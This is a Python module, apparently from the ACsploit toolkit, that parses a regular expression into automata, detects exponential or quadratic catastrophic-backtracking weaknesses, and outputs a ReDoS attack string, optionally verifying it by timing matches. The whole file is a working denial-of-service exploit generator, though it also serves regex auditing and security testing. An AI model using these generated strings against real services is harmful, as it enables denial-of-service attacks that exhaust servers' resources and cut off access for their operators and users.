import copy
import itertools
import multiprocessing as mp
import os
import re
import time

from scipy.optimize import curve_fit
import tqdm

from acsploit.options import Options
from . import regex_common

options = Options()
options.add_option('regex', 'your_regex', 'Regex to exploit, if vulnerable')
options.add_option('regex_file', 'your_file', 'File containing newline separated regular expressions to exploit')
options.add_option('use_file', False, 'Whether to use the file of regular expressions or the single user supplied expression')
options.add_option('show_progress_bar', False, 'Whether to show a progress bar showing how much of ' +
                   'the file has been processed, only valid when use_file is True')
options.add_option('show_only_vulnerable', True, 'Whether to show only the vulnerable regular expressions, only valid when use_file is True')
options.add_option('max_length', 25, 'Maximum size of exploit string, if regex is vulnerable')
options.add_option('show_nfa', False, 'Whether to show the parsed NFA graph (for debugging), cannot be used with file')
options.add_option('include_quadratic', False, 'Whether to include quadratic runtime vulnerabilities. May take awhile')
options.add_option('verify', False, 'Verifies the attack strings are correct')
options.add_option('parallelize', True, 'Process the regexs in a file or the single regex in parallel')
options.add_option('processing_time', False, 'Include the time to process the regular expression')

DESCRIPTION = 'Exploits regex that are vulnerable to catastrophic backtracking (ReDoS).' \
              '\n\n  ' \
              'Given a regex, it is first checked to see if it is vulnerable to ReDoS attack. There are two checks: ' \
              'if it is vulnerable to an exponential attack, or a quadratic attack. Exponential attacks have a much ' \
              'more significant effect with a shorter string length, whereas a quadratic attack likely needs a larger ' \
              'string length to have an effect. Once it is determined that a regex is vulnerable, a string is output ' \
              'that when matched against the regex, will result in a large amount of resources needed to determine if ' \
              'the string matches (and will likely never finish). The larger the exploit string length, the longer this ' \
              'will take. Algorithms used are from "Static Detection of DoS Vulnerabilities in Programs that use Regular ' \
              'Expressions", by Wustholz, Olivo, Heule, and Dillig. As a warning, searching for quadratic attacks is ' \
              'very inefficient and can take quite a while.'
NO_INPUT = True


def get_potential_outgoing_tuples(state, nfa):
    results = []
    transitions = nfa.get_transitions(state)
    targets = transitions.keys()
    for state_1, state_2 in itertools.product(targets, repeat=2):
        if state_1 != state_2:
            intersection_transition = transitions[state_1].intersection(transitions[state_2])
            if intersection_transition is not None:
                results.append((intersection_transition, state_1, state_2))
    return results


def get_any_loopback_nfa(nfa, state):
    new_state = nfa.get_new_state()
    new_states = nfa.copy_states()
    new_states.add(new_state)
    new_transitions = nfa.copy_transitions()
    new_transitions[new_state] = {}
    for dest, transition in nfa.get_transitions(state).items():
        new_transitions[new_state][dest] = transition
    return regex_common.Automata(new_states, new_state, new_transitions, set([state]),
                    nfa.start_anchor, nfa.end_anchor, nfa.deterministic)


def get_loopback_nfa(nfa, target_state, transition, pseudo_start_state):
    new_state = nfa.get_new_state()
    new_states = nfa.copy_states()
    new_states.add(new_state)
    new_transitions = nfa.copy_transitions()
    new_transitions[new_state] = {}
    new_transitions[new_state][pseudo_start_state] = transition
    return regex_common.Automata(new_states, new_state, new_transitions, set([target_state]),
                    nfa.start_anchor, nfa.end_anchor, nfa.deterministic)


def stringify_transitions(transitions):
    return ''.join([x.get_char() for x in transitions])


def find_hyper_vulnerabilities_for_pivot(args):
    state, nfa, dfa = args
    new_nfas = {}
    for (transition, state_1, state_2) in get_potential_outgoing_tuples(state, nfa):
        if state_1 < state_2:
            # get_potential_outgoing_tuples returns the same pair in a different
            # order, for quadratic vulnerabilities the order matters, for hyper
            # vulnerabilities it doesn't
            continue
        if state_1 not in new_nfas:
            new_nfas[state_1] = get_loopback_nfa(nfa, state, transition, state_1)
        if state_2 not in new_nfas:
            new_nfas[state_2] = get_loopback_nfa(nfa, state, transition, state_2)

        # TODO Check to see if loopback have a reachable accepting state, if not
        # do not bother calling intersection
        nfa_1 = new_nfas[state_1]
        nfa_2 = new_nfas[state_2]
        intersection_nfa = nfa_1.intersection(nfa_2)
        if not intersection_nfa.has_accepting_states():
            continue

        repeat_pattern = intersection_nfa.find_shortest_path()
        initial_nfa = copy.copy(nfa)
        initial_nfa.set_accepting_states([state])
        start_pattern = initial_nfa.find_shortest_path()

        prefix = stringify_transitions(start_pattern)
        repeat = stringify_transitions(repeat_pattern)

        terminating_string = find_terminating_string(state, nfa, dfa, prefix, repeat)
        if terminating_string is None:
            continue
        return prefix, repeat, terminating_string

    return None


def find_quadratic_vulnerabilities_for_pivot(args):
    state, nfa, dfa, nfa_3_set = args
    nfa_p = None
    result = None
    for (transition, state_1, state_2) in get_potential_outgoing_tuples(state, nfa):
        nfa_1 = get_loopback_nfa(nfa, state, transition, state_1)
        if nfa_p is None:
            nfa_p = copy.copy(nfa)
            nfa_p.set_accepting_states([state])

        transitions = nfa.copy_transitions()
        # Do something slightly tricky here, specifically only create a single
        # copy of the transitions for the new automata, and delete the new
        # transition added each time.  This is to avoid having to create a
        # quadratic number of copies of the transitions, this improves
        # performance significantly.
        for q, nfa_3 in nfa_3_set:
            new_state = nfa.get_new_state()
            transitions.setdefault(new_state, {})[state_2] = transition
            nfa_2 = regex_common.Automata(nfa.get_states().union({new_state}), new_state,
                                          transitions, {q}, False, False, False)
            intersection_nfa = nfa_1.intersection(nfa_2)
            if not intersection_nfa.has_accepting_states():
                del transitions[new_state]
                continue

            intersection_nfa.prune()
            intersection_nfa = intersection_nfa.intersection(nfa_3)
            if not intersection_nfa.has_accepting_states():
                del transitions[new_state]
                continue
            repeat_pattern = intersection_nfa.find_shortest_path()
            start_pattern = nfa_p.find_shortest_path()

            prefix = stringify_transitions(start_pattern)
            repeat = stringify_transitions(repeat_pattern)

            # Need to make sure that the if the repeat string is repeated
            # multiple times it doesn't cause a partial match but only if the is
            # no end anchor
            if not nfa.end_anchor:
                if nfa.match_string(prefix + repeat + repeat, False):
                    del transitions[new_state]
                    continue

            terminating_string = find_terminating_string(state, nfa, dfa, prefix, repeat)
            if terminating_string is None:
                del transitions[new_state]
                continue
            del transitions[new_state]
            if result is None:
                result = prefix, repeat, terminating_string
            else:
                if len(repeat) < len(result[1]):
                    result = prefix, repeat, terminating_string

    return result


def find_terminating_string(state, nfa, dfa, prefix, repeat):
    new_nfa = copy.copy(nfa)
    new_nfa.set_initial_state(state)
    if not new_nfa.match_string(repeat, True):
        return ''

    if not nfa.has_end_anchor():
        return None
    new_initial_state = dfa.traverse(prefix + repeat)
    if len(new_initial_state) == 0:
        raise RuntimeError('Failed to traverse DFA with prefix and repeat string')
    if len(new_initial_state) > 1:
        raise RuntimeError('More than one state returned when traversing DFA')

    tmp_dfa = copy.copy(dfa)
    tmp_dfa.set_initial_state(next(iter(new_initial_state)))

    result = tmp_dfa.find_negation_accepting_string()
    return result


def find_hyper_vulnerabilities(nfa, dfa):
    if options['parallelize'] and not options['use_file']:
        # if using a file already parallelize on the file items
        tuples = {(q, nfa, dfa) for q in nfa.get_states()}
        with mp.Pool(mp.cpu_count()) as pool:
            for res in pool.imap_unordered(find_hyper_vulnerabilities_for_pivot, tuples):
                if res is not None:
                    return res

    else:
        for q in nfa.get_states():
            vuln = find_hyper_vulnerabilities_for_pivot((q, nfa, dfa))
            if vuln is None:
                continue
            return vuln

    return None


def find_quadratic_vulnerabilities(nfa, dfa):
    # This set of NFAs can be used across all pivot calculations so precompute
    # it once
    nfa_3_set = []
    for q in nfa.get_states():
        nfa_3_set.append((q, get_any_loopback_nfa(nfa, q)))
    nfa_3_set = frozenset(nfa_3_set)

    if options['parallelize'] and not options['use_file']:
        # if using a file already parallelize on the file items
        tuples = {(q, nfa, dfa, nfa_3_set) for q in nfa.get_states()}
        with mp.Pool(mp.cpu_count()) as pool:
            for res in pool.imap_unordered(find_quadratic_vulnerabilities_for_pivot, tuples):
                if res is not None:
                    return res

    else:
        for q in nfa.get_states():
            vuln = find_quadratic_vulnerabilities_for_pivot((q, nfa, dfa, nfa_3_set))
            if vuln is None:
                continue
            return vuln

    return None


def exponential_match(x, a, b):
    return  b * (a ** x)


def quadratic_match(x, a, b):
    return b * (x ** a)


def verify_string(regex, prefix, repeat, suffix, exponential):
    lengths = []
    times = []
    collection_threshold = 2
    maximum_data_points = 100
    minimum_data_points = 10
    threshold = 1.3
    maximum_repeat = 2 ** 30
    i = 1
    prog = re.compile(regex)
    while len(times) < maximum_data_points:
        string = prefix + (i * repeat) + suffix
        # Use process_time to be better resilient to high system load
        start = time.process_time()
        prog.match(string)
        diff = time.process_time() - start
        times.append(diff)
        lengths.append(i)
        if diff > collection_threshold:
            break
        if exponential:
            i += 1
        else:
            i *= 2
        if i > maximum_repeat:
            raise RuntimeError('Failed to verify regex vulnerability as the length ' +
                               'became to long without reaching the time limit')

    if len(times) < minimum_data_points:
        raise RuntimeError('Failed to collect enough data points to verify')

    try:
        if exponential:
            (a, _), _ = curve_fit(exponential_match, lengths[-minimum_data_points:],
                                  times[-minimum_data_points:])
        else:
            (a, _), _ = curve_fit(quadratic_match, lengths[-minimum_data_points:],
                                  times[-minimum_data_points:])
    except RuntimeError:
        raise RuntimeError('Failed to match the curve to verify regular expression attack string') from None

    if a < threshold:
        raise RuntimeError('Failed to verify attack string ({}, {}, {}) for regex {}'.format(
            prefix, repeat, suffix, regex))


def run_regex(regex, show_nfa, max_length):
    nfa = regex_common.RegexParser().run(regex)
    # Potential place to optimize, only create DFA if needed.
    dfa = regex_common.RegexParser(dfa=True).run(regex)

    if show_nfa:
        nfa.show_graph()

    exponential = True
    vulnerable_pattern = find_hyper_vulnerabilities(nfa, dfa)
    if vulnerable_pattern is None and options['include_quadratic']:
        vulnerable_pattern = find_quadratic_vulnerabilities(nfa, dfa)
        exponential = False
    if vulnerable_pattern is None:
        raise ValueError('Regex is not vulnerable to ReDoS attack')

    prefix, repeat, suffix = vulnerable_pattern
    if len(prefix) + len(repeat) + len(suffix) > max_length:
        raise ValueError('Max length too small, cannot exploit regex')

    if options['verify']:
        verify_string(regex, prefix, repeat, suffix, exponential)

    return prefix + (((max_length - len(prefix) - len(suffix)) // len(repeat)) * repeat) + suffix


def process_line(line):
    if options['processing_time']:
        start = time.perf_counter()
    try:
        result = run_regex(line, False, options['max_length'])
        if options['processing_time']:
            return True, time.perf_counter() - start, line, result
        else:
            return True, line, result
    except (ValueError, RuntimeError) as e:
        if options['processing_time']:
            return False, time.perf_counter() - start, line, str(e)
        else:
            return False, line, str(e)


def process_file(lines, progress_bar):
    results = []

    if options['parallelize']:
        with mp.Pool(mp.cpu_count()) as pool:
            for i in pool.imap_unordered(process_line, lines):
                results.append(i)
                if progress_bar is not None:
                    progress_bar.update(len(results))
    else:
        for i in lines:
            results.append(process_line(i))
            if progress_bar is not None:
                progress_bar.update(len(results))

    return results


def run(output):
    if options['use_file']:
        lines = set()
        # ISO-8859-1 for the most part treats strings as the way that programming languages handles escapes
        # Perhaps make this configurable
        with open(os.path.expanduser(options['regex_file']), encoding='ISO-8859-1') as f:
            for line in f:
                if (len(line) > 0) and (line[-1] == '\n'):
                    line = line[:-1]

                if len(line) == 0:
                    continue
                lines.add(line)

        if len(lines) == 0:
            raise ValueError('File is empty')

        if options['show_progress_bar']:
            with tqdm.tqdm(total=len(lines)) as progress_bar:
                results = process_file(lines, progress_bar)
        else:
            results = process_file(lines, None)

        if options['show_only_vulnerable']:
            results = [x[1:] for x in results if x[0]]

            if len(results) == 0:
                raise ValueError('Failed to find any vulnerable regex')
        else:
            results = [x[1:] for x in results]

        output.output(results)
    else:
        output.output([run_regex(options['regex'], options['show_nfa'], options['max_length'])])
